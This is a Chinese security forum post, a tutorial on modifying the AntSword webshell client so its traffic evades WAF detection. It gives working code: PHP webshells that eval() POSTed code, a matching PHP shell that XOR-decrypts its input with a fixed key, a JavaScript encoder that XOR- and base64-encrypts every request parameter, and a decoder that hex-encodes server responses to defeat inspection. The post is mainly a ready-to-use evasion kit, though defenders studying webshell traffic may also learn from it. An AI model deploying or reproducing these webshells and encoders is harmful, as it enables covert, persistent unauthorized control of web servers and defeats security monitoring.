安全矩阵

 找回密码
 立即注册
搜索
查看: 4417|回复: 0

如何简单的打造过WAF的蚁剑

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-9-8 19:24:27 | 显示全部楼层 |阅读模式
原文链接:如何简单的打造过WAF的蚁剑

1、为什么要改造蚁剑

前段时间冰蝎更新了3.0版本,去除了动态密钥和其他的特征字符,一时间让各家厂商措手不及,只能通过冰蝎请求参数的长度去判断疑似的流量特征,成功地绕过了WAF的检测,各家厂商一定会针对冰蝎3.0研究出各种拦截规则,当具备一定的检测特征后冰蝎也就失去了动态加密的优势。如果java底子薄弱,无法修复冰蝎反编译后的各种报错,去除掉检测特征的话,仍然会被WAF拦在“大门”之外。

蚁剑的灵活性在对抗WAF方面表现的应该可以更出色,不需要很强的代码功底就可以重新铸造,虽然蚁剑的整体项目看起来复杂,但是只需要有针对性的修改对应的shell编码功能的代码部分就可以完成对抗WAF的工作。

2、了解蚁剑的结构
蚁剑的整体结构这里不做具体的说明,其他文章有过详细的介绍。这里主要对蚁剑的shell管理的部分做一个简单的讲解。蚁剑所有shell项目的编码方式均放在 source\core 目录下,仅修改其中的脚本模版就可以绕过WAF检测的特征库。



这里以PHP脚本语言为例说明,在php文件夹下有decoder、encoder、template三个文件夹,分别对应为解码器、编码器、文件模版,这里的编码器和解码器是没有对应关系的,编码器中定义的加密方法与shell中的解密代码对应,达到执行命令的目的。解码器的使用会放在后面讲解。



index.js文件中对应了蚁剑客户端的展示配置以及shell执行的主代码架构,在对应的编码器和解码器列表里添加一个编码器或解码器名称,蚁剑客户端就会显示出来对应的方法,这样使用的时候方便一些。




index.js 最后的 data['_'] 就是shell代码执行的主体架构,蚁剑会将参数传递到对应的位置拼接成为完整代码,最终服务器执行的就是这里的代码。



3、编码器编写

以上介绍的是蚁剑的结构,这里是构造编码器的开始。打开encoder文件夹,里面是蚁剑默认的编码模块:base64.js、chr.js、chr16.js、rot13.js。这里以base64.js为例看一下默认的base64模块是如何工作的。



shell所有传递的参数都是在data列表中的,需要执行的代码在 data['_'] 中,`Buffer.from(data['_']).toString('base64')` 将data[‘_’]中的代码读取并进行base64编码,然后下面的 data[pwd] 以参数的形式传递到服务器将data[‘_’]中的代码在服务器端解码并执行,所以shell仍旧可以是 “<?php eval($_POST['t']);?>”。

虽然data[‘_’]中的代码都是base64编码了,但是data[pwd] 是作为参数传递的,所以这里在流量中 data[pwd] 仍是明文传输,可以看到请求参数的最后一个变量是
‘t=%40eval(%40base64_decode(%24_POST%5Bkfab909c2481e5%5D))%3B’,这显然是过不了WAF的。


将整段base64代码解码可以看到“kfab909c2481e5”的参数对应的正是 index.js 中的data['_']的代码,列表中除了data['_'] ,其他的参数会进行一层base64编码。

简单的修改一下编码器,将明文传输的t参数放弃,避免明文出现。



这个时候服务器接收到的php代码是经过base64编码的,和之前的参数一样,但是缺少了t这个为服务器解码的功能,所以shell需要修改为解base64编码的功能。



‘<?php eval(base64_decode($_POST['t']));?>’。
所有代码都是经过了base64编码。

url解码看到t参数



在不使用base64模块的时候抓取流量查看发现除了data[‘_’]的内容,其他参数也是经过一层base64加密的,这是蚁剑自带的简单编码功能。



这里编码器构造的思路就是把data列表里所有的参数都取出来按照自己的加密方法进行加密。实现代码如下:
  1. 'use strict';
  2. module.exports = (pwd, data) => {
  3. let ret = {};
  4. function xor(payload) {
  5.     let key='7f84181db668ce6080f6b7502ea8b2e1';
  6.     key = key.split("").map(t => t.charCodeAt(0));
  7.     let cipher = payload.split("").map(t => t.charCodeAt(0));
  8.     for (let i = 0; i < cipher.length; i++) {
  9.       cipher[i] = cipher[i] ^ key[i % 32];
  10.     }
  11.     cipher = cipher.map(t => String.fromCharCode(t)).join("")
  12.     cipher = Buffer.from(cipher).toString('base64');
  13.     return cipher;
  14.   }
  15.     //自定义xor算法,将参数均与密钥疑惑,最后base64编码返回
  16. for (let _ in data){ //遍历data列表
  17. if (_ === '_') { //如果列表键为_即payload则跳过
  18.   continue ;
  19. }//否则其他所有参数进行编码
  20. ret[_] = Buffer.from(data[_]).toString('base64'); //取出参数base64编码,这里其实进行了两次base64,因为蚁剑本身已经有过一层base64
  21. ret[_] = xor(ret[_]);//进行异或运算
  22. }
  23. ret[pwd] = Buffer.from(data['_']).toString('base64'); //data['_']进行base64编码
  24. ret[pwd] = xor(ret[pwd]); //进行异或运算
  25. return ret; }
复制代码
由于自定义了加密方法,shell中需要对应的解密方法,密钥保持一致。
  1. <?php
  2. $key = "7f84181db668ce6080f6b7502ea8b2e1";
  3. $test = (base64_decode($_POST['keyword']));
  4.     for ($i = 0;$i<strlen($test);$i++){
  5.         $test[$i] = $test[$i]^$key[$i%32];
  6.     }
  7. eval (base64_decode($test));
  8. ?>
复制代码

此时仅是shell可以正常解析data['_']中的参数,其他的参数解码是在蚁剑的模版文件中的,需要在 template 文件下修改对应的代码,要将template下的所有涉及到参数传递的js文件都进行方法修改。例如filemanager.js




原来的js解码方法有一层base64解码,对应的就是在不使用编码模块时data[‘_’]外的参数单层base64编码。这里添加自定义的方法,为了容纳默认的编码模式,这里加了一个判断,如果连接密码为keyword则进行异或运算,否则直接返回原参数,这里需要对每个模块都添加此方法,这样流量中就不再仅仅一层base64编码。



可以从流量包中看到虽然还是base64编码但是没有密钥无法还原出php代码,接下来就是解决蚁剑的响应内容的编码问题。




4、解码器编写
蚁剑的解码器和编码器是没有对应关系的,并不是解码器要对应编码器的加密方法才能正常执行。解码器是在shell执行后从服务器端响应内容到蚁剑客户端时使用的,解码器首先将响应内容按照自定义的方法加密,然后在蚁剑客户端再按照自定义方法解密,说起来有点难以理解。看例子,默认的自定义解码器是这样的:



“asoutput” 方法是蚁剑向服务器发送代码,使服务器执行“asoutput”方法将响应内容加密。蚁剑客户端接收响应内容后使用“decode_buff”解码。这里要注意的是解码器编码部分的自定义方法名称必须为“asenc”才能被识别。简单的混淆一下,这样在服务器响应内容中会添加codecode作为混淆代码。



这样就可以避免base64被解码,可以看到在响应内容里仍旧有些奇怪的,就是响应内容的开头“a5bc0888e”和结尾的“b95cf28bde0”,这也是蚁剑默认添加的随机混淆字符,和base64放在一起总是感觉别扭的,可以改进一下解码器的加密方法。
  1. 'use strict';
  2. module.exports = {
  3.   /**
  4.    * @returns {string} asenc 将返回数据base64编码
  5.    */
  6.   asoutput: () => {
  7.     return `
  8.     function asenc($out){
  9.       $payload = base64_encode($out); //第一次base64编码
  10.       $base = base64_encode(strrev($payload));//字符串逆转后base64编码
  11.       $hex="";
  12.       for ($i=0;$i<strlen($base);$i++){
  13.         $hex.=dechex(ord($base[$i])); //将base64编码转16进制
  14.       }
  15.       return ($hex);
  16.     }
  17.     `.replace(/\n\s+/g, '');
  18.   },
  19.   /**
  20.    * 解码 Buffer
  21.    * @param {Buffer} buff 要被解码的 Buffer
  22.    * @returns {Buffer} 解码后的 Buffer
  23.    */
  24.   decode_buff: (buff) => {
  25.     let num=0;
  26.     let hex='';
  27.     for(let item=0;item<buff.length/2;item++){
  28.       hex = hex+String.fromCharCode(parseInt(buff.slice(num,num+2),16).toString(10));//解16进制转为字符串
  29.       num = num+2;
  30.     }
  31.     let payload = Buffer.from(hex.toString(), 'base64');//第一次base64解码
  32.     let cipher = '';
  33.     for (let i = payload.length-1;i>=0;i--){
  34.       //console.log(payload[i]);
  35.       cipher = cipher+String.fromCharCode(payload[i]);//反转字符串
  36.     }
  37.     return Buffer.from(cipher.toString(), 'base64');//第二次base64解码
  38.   }
  39. }
复制代码


把服务器的响应内容经过一番折腾最后使用hex编码返回,这样配合蚁剑本身的返回随机字符就更加具有迷惑性,蚁剑解码器的响应内容的加密配合蚁剑本身的混淆代码可以成功的避免WAF对响应内容的解码。




5、总结
其实没什么好总结的,在理解了蚁剑的编码器和解码器的功能之后就可以在具体功能实现的位置进行修改,进而实现无特征流量传输,代码功底更强的话可以修改蚁剑的整体代码实现加密,就不用再每个模版都进行修改。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 16:26 , Processed in 0.015954 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表